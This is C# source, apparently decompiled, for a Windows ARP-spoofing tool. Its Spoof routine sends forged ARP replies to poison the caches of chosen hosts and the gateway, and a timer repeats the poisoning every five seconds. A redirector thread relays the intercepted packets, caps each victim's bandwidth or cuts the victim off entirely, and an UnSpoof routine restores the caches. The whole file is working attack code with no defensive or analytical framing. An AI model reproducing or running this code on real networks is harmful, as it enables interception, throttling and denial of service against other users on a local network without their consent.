private void callbackOnNewPC(PC pc)
{
object[] objArray = new object[1] {
(object)pc
};
ArpForm arpForm = this;
arpForm.Invoke((Delegate) new delegateOnNewPC(arpForm.AddPc), objArray);
Dns.BeginResolve(pc.ip.ToString(), new AsyncCallback(this.EndResolvCallBack), pc);
}
public void UnSpoof(IPAddress ip1, IPAddress ip2)
{
PC pCFromIP = pcList.getPCFromIP(ip1.GetAddressBytes());
PC pCFromIP2 = pcList.getPCFromIP(ip2.GetAddressBytes());
if (pCFromIP != null && pCFromIP2 != null)
{
pcaparp.pcapnet_sendpacket(buildArpPacket(pCFromIP.mac.GetAddressBytes(), pCFromIP2.mac.GetAddressBytes(), 1, pCFromIP2.mac.GetAddressBytes(), pCFromIP2.ip.GetAddressBytes(), broadcastMac, pCFromIP.ip.GetAddressBytes()));
pcaparp.pcapnet_sendpacket(buildArpPacket(pCFromIP2.mac.GetAddressBytes(), pCFromIP.mac.GetAddressBytes(), 1, pCFromIP.mac.GetAddressBytes(), pCFromIP.ip.GetAddressBytes(), broadcastMac, pCFromIP2.ip.GetAddressBytes()));
}
}
private void arpListener()
{
byte[] pkt_data = null;
packet_headers pkt_hdr = null;
isListeningArp = true;
do
{
if (pcaparp.pcapnet_next_ex(out pkt_hdr, out pkt_data) == 0)
{
continue;
}
byte[] array = new byte[6];
Array.Copy(pkt_data, 6, array, 0, 6);
if (tools.areValuesEqual(array, localMAC))
{
continue;
}
byte b = pkt_data[21];
if (b.ToString().CompareTo("2") == 0)
{
byte[] array2 = new byte[4];
byte[] array3 = new byte[6];
Array.Copy(pkt_data, 22, array3, 0, 6);
Array.Copy(pkt_data, 28, array2, 0, 4);
PC pC = new PC();
pC.ip = new IPAddress(array2);
pC.mac = new PhysicalAddress(array3);
pC.capDown = 0;
pC.capUp = 0;
pC.isLocalPc = false;
pC.name = "";
pC.nbPacketReceivedSinceLastReset = 0;
pC.nbPacketSentSinceLastReset = 0;
pC.redirect = true;
DateTime now = DateTime.Now;
pC.timeSinceLastRarp = now;
pC.totalPacketReceived = 0;
pC.totalPacketSent = 0;
if (tools.areValuesEqual(array2, routerIP))
{
routerMAC = array;
pC.isGateway = true;
}
else
{
pC.isGateway = false;
}
pcList.addPcToList(pC);
}
}while (isListeningArp);
arpListenerThreadTerminated.Set();
}
public bool removePcFromList(PC pc)
{
Monitor.Enter(pclist.SyncRoot);
foreach (PC item in pclist)
{
if (item.ip.ToString().CompareTo(pc.ip.ToString()) == 0)
{
delOnPCRemove?.Invoke(pc);
pclist.Remove(pc);
Monitor.Exit(pclist.SyncRoot);
return(true);
}
}
Monitor.Exit(pclist.SyncRoot);
return(false);
}
public void Spoof(IPAddress ip1, IPAddress ip2)
{
PC pCFromIP = pcList.getPCFromIP(ip1.GetAddressBytes());
PC pCFromIP2 = pcList.getPCFromIP(ip2.GetAddressBytes());
if (pCFromIP != null && pCFromIP2 != null)
{
byte[] array = localMAC;
pcaparp.pcapnet_sendpacket(buildArpPacket(pCFromIP.mac.GetAddressBytes(), array, 2, array, pCFromIP2.ip.GetAddressBytes(), pCFromIP.mac.GetAddressBytes(), pCFromIP.ip.GetAddressBytes()));
byte[] array2 = localMAC;
pcaparp.pcapnet_sendpacket(buildArpPacket(pCFromIP2.mac.GetAddressBytes(), array2, 2, array2, pCFromIP.ip.GetAddressBytes(), pCFromIP2.mac.GetAddressBytes(), pCFromIP2.ip.GetAddressBytes()));
pcaparp.pcapnet_sendpacket(buildArpPacket(localMAC, pCFromIP2.mac.GetAddressBytes(), 2, pCFromIP2.mac.GetAddressBytes(), pCFromIP2.ip.GetAddressBytes(), localMAC, localIP));
byte[] array3 = localMAC;
CPcapNet cPcapNet = pcaparp;
byte[] array4 = array3;
cPcapNet.pcapnet_sendpacket(buildArpPacket(array4, array4, 2, pCFromIP.mac.GetAddressBytes(), pCFromIP.ip.GetAddressBytes(), localMAC, localIP));
}
}
private void callbackOnPCRemove(PC pc)
{
int index = 1;
if (1 >= this.treeGridView1.Nodes[0].Nodes.Count)
{
return;
}
while (this.treeGridView1.Nodes[0].Nodes[index].Cells[1].Value.ToString().CompareTo(pc.ip.ToString()) != 0)
{
++index;
if (index >= this.treeGridView1.Nodes[0].Nodes.Count)
{
return;
}
}
this.treeGridView1.Nodes[0].Nodes.RemoveAt(index);
}
public void completeUnspoof()
{
PC router = pcList.getRouter();
if (router == null)
{
return;
}
int num = 0;
if (0 < pcList.pclist.Count)
{
do
{
UnSpoof(((PC)pcList.pclist[num]).ip, router.ip);
num++;
}while (num < pcList.pclist.Count);
}
}
public bool addPcToList(PC pc)
{
Monitor.Enter(pclist.SyncRoot);
foreach (PC item in pclist)
{
if (item.ip.ToString().CompareTo(pc.ip.ToString()) == 0)
{
DateTime now = DateTime.Now;
item.timeSinceLastRarp = now;
Monitor.Exit(pclist.SyncRoot);
return(false);
}
}
ArrayList.Synchronized(pclist).Add(pc);
delOnNewPC?.Invoke(pc);
Monitor.Exit(pclist.SyncRoot);
return(true);
}
private void TimerSpoof_Tick(object sender, EventArgs e)
{
this.timerSpoof.Interval = 5000;
int index = 0;
if (0 >= this.treeGridView1.Nodes[0].Nodes.Count)
{
return;
}
do
{
if (this.treeGridView1.Nodes[0].Nodes[index].Cells[8].Value.ToString().CompareTo("True") == 0)
{
PC pcFromIp = this.pcs.getPCFromIP(tools.getIpAddress(this.treeGridView1.Nodes[0].Nodes[index].Cells[1].Value.ToString()).GetAddressBytes());
if (!pcFromIp.isLocalPc)
{
this.cArp.Spoof(pcFromIp.ip, new IPAddress(this.cArp.routerIP));
}
}
++index;
}while (index < this.treeGridView1.Nodes[0].Nodes.Count);
}
private void EndResolvCallBack(IAsyncResult re)
{
string str = (string)null;
PC asyncState = (PC)re.AsyncState;
try
{
str = Dns.EndResolve(re).HostName;
if (str == (string)null)
{
str = "noname";
}
object[] objArray = new object[2];
this.resolvState = objArray;
objArray[0] = (object)asyncState;
this.resolvState[1] = (object)str;
this.Invoke((Delegate) new DelUpdateName(this.updateTreeViewNameCallBack), this.resolvState);
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
private void AddPc(PC pc)
{
if (pc.isGateway)
{
this.treeGridView1.Nodes[0].Cells[1].Value = (object)pc.ip.ToString();
this.treeGridView1.Nodes[0].Cells[2].Value = (object)pc.mac.ToString();
this.treeGridView1.Nodes[0].Cells[5].ReadOnly = true;
this.treeGridView1.Nodes[0].Cells[6].ReadOnly = true;
this.treeGridView1.Nodes[0].Cells[7].ReadOnly = true;
this.treeGridView1.Nodes[0].Cells[8].ReadOnly = true;
this.treeGridView1.Nodes[0].Cells[5].Value = (object)0;
this.treeGridView1.Nodes[0].Cells[6].Value = (object)0;
this.treeGridView1.Nodes[0].Cells[7].ReadOnly = true;
this.treeGridView1.Nodes[0].Cells[8].ReadOnly = true;
}
else if (pc.isLocalPc)
{
TreeGridNode treeGridNode = this.treeGridView1.Nodes[0].Nodes.Add((object)"Your PC", (object)pc.ip, (object)pc.mac.ToString());
treeGridNode.ImageIndex = 0;
treeGridNode.Cells[5].Value = (object)0;
treeGridNode.Cells[6].Value = (object)0;
treeGridNode.Cells[5].ReadOnly = true;
treeGridNode.Cells[6].ReadOnly = true;
treeGridNode.Cells[7].Value = (object)false;
treeGridNode.Cells[8].Value = (object)false;
treeGridNode.Cells[7].ReadOnly = true;
treeGridNode.Cells[8].ReadOnly = true;
}
else
{
TreeGridNode treeGridNode = this.treeGridView1.Nodes[0].Nodes.Add((object)string.Empty, (object)pc.ip, (object)pc.mac.ToString(), (object)string.Empty, (object)string.Empty, (object)0, (object)0, (object)false, (object)true);
treeGridNode.ImageIndex = 0;
treeGridNode.Cells[5].ReadOnly = false;
treeGridNode.Cells[6].ReadOnly = false;
}
}
private void redirector()
{
byte[] pkt_data = null;
packet_headers pkt_hdr = null;
isRedirecting = true;
byte[] array = new byte[6];
byte[] array2 = new byte[4];
byte[] array3 = new byte[4];
PC router = pcList.getRouter();
if (router != null)
{
routerMAC = router.mac.GetAddressBytes();
}
if (routerMAC == null)
{
MessageBox.Show("no router found to redirect packet");
isRedirecting = false;
return;
}
if (isRedirecting)
{
do
{
if (pcapredirect.pcapnet_next_ex(out pkt_hdr, out pkt_data) == 0)
{
continue;
}
Array.Copy(pkt_data, 6, array, 0, 6);
if (tools.areValuesEqual(array, localMAC))
{
Array.Copy(pkt_data, 26, array2, 0, 4);
if (tools.areValuesEqual(array2, localIP))
{
pcList.getLocalPC().nbPacketSentSinceLastReset += (int)pkt_hdr.caplen;
}
continue;
}
if (tools.areValuesEqual(array, routerMAC))
{
Array.Copy(pkt_data, 30, array3, 0, 4);
if (tools.areValuesEqual(array3, localIP))
{
pcList.getLocalPC().nbPacketReceivedSinceLastReset += (int)pkt_hdr.caplen;
continue;
}
PC pCFromIP = pcList.getPCFromIP(array3);
if (pCFromIP != null)
{
int capDown = pCFromIP.capDown;
if ((capDown == 0 || capDown > pCFromIP.nbPacketReceivedSinceLastReset) && pCFromIP.redirect)
{
Array.Copy(pCFromIP.mac.GetAddressBytes(), 0, pkt_data, 0, 6);
Array.Copy(localMAC, 0, pkt_data, 6, 6);
pcapredirect.pcapnet_sendpacket(pkt_data);
pCFromIP.nbPacketReceivedSinceLastReset += (int)pkt_hdr.caplen;
}
}
continue;
}
Array.Copy(pkt_data, 30, array3, 0, 4);
if (tools.areValuesEqual(array3, localIP))
{
continue;
}
PC pCFromMac = pcList.getPCFromMac(array);
if (pCFromMac != null)
{
int capUp = pCFromMac.capUp;
if ((capUp == 0 || capUp > pCFromMac.nbPacketSentSinceLastReset) && pCFromMac.redirect)
{
Array.Copy(routerMAC, 0, pkt_data, 0, 6);
Array.Copy(localMAC, 0, pkt_data, 6, 6);
pcapredirect.pcapnet_sendpacket(pkt_data);
pCFromMac.nbPacketSentSinceLastReset += (int)pkt_hdr.caplen;
}
}
}while (isRedirecting);
}
redirectorThreadTerminated.Set();
}
private void TreeGridView1_CellValueChanged(object sender, DataGridViewCellEventArgs e)
{
try
{
if (e.ColumnIndex == 5 && e.RowIndex >= 2)
{
IPAddress ipAddress = tools.getIpAddress(this.treeGridView1.Rows[e.RowIndex].Cells[1].Value.ToString());
if (this.treeGridView1.Rows[e.RowIndex].Cells[0].Value.ToString().CompareTo(string.Empty) != 0)
{
PC pcFromIp = this.pcs.getPCFromIP(ipAddress.GetAddressBytes());
if (pcFromIp != null)
{
Monitor.Enter((object)pcFromIp);
pcFromIp.capDown = Convert.ToInt32(this.treeGridView1.Rows[e.RowIndex].Cells[5].Value) * 1024;
Monitor.Exit((object)pcFromIp);
}
}
}
if (e.ColumnIndex == 6 && e.RowIndex >= 2)
{
IPAddress ipAddress = tools.getIpAddress(this.treeGridView1.Rows[e.RowIndex].Cells[1].Value.ToString());
if (this.treeGridView1.Rows[e.RowIndex].Cells[0].Value.ToString().CompareTo(string.Empty) != 0)
{
PC pcFromIp = this.pcs.getPCFromIP(ipAddress.GetAddressBytes());
if (pcFromIp != null)
{
Monitor.Enter((object)pcFromIp);
pcFromIp.capUp = Convert.ToInt32(this.treeGridView1.Rows[e.RowIndex].Cells[6].Value) * 1024;
Monitor.Exit((object)pcFromIp);
}
}
}
if (e.ColumnIndex == 7 && e.RowIndex >= 2)
{
IPAddress ipAddress = tools.getIpAddress(this.treeGridView1.Rows[e.RowIndex].Cells[1].Value.ToString());
if (this.treeGridView1.Rows[e.RowIndex].Cells[0].Value.ToString().CompareTo(string.Empty) != 0)
{
PC pcFromIp = this.pcs.getPCFromIP(ipAddress.GetAddressBytes());
if (pcFromIp != null)
{
Monitor.Enter((object)pcFromIp);
int num = !pcFromIp.redirect ? 1 : 0;
pcFromIp.redirect = num != 0;
Monitor.Exit((object)pcFromIp);
}
}
}
if (e.ColumnIndex != 8 || e.RowIndex < 2 || this.treeGridView1.Rows[e.RowIndex].Cells[0].Value.ToString().CompareTo(string.Empty) == 0)
{
return;
}
IPAddress ipAddress1 = tools.getIpAddress(this.treeGridView1.Rows[e.RowIndex].Cells[1].Value.ToString());
if (this.treeGridView1.Rows[e.RowIndex].Cells[8].Value.ToString().CompareTo("False") != 0)
{
return;
}
for (int index = 0; index < 35; ++index)
{
this.cArp.UnSpoof(ipAddress1, new IPAddress(this.cArp.routerIP));
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}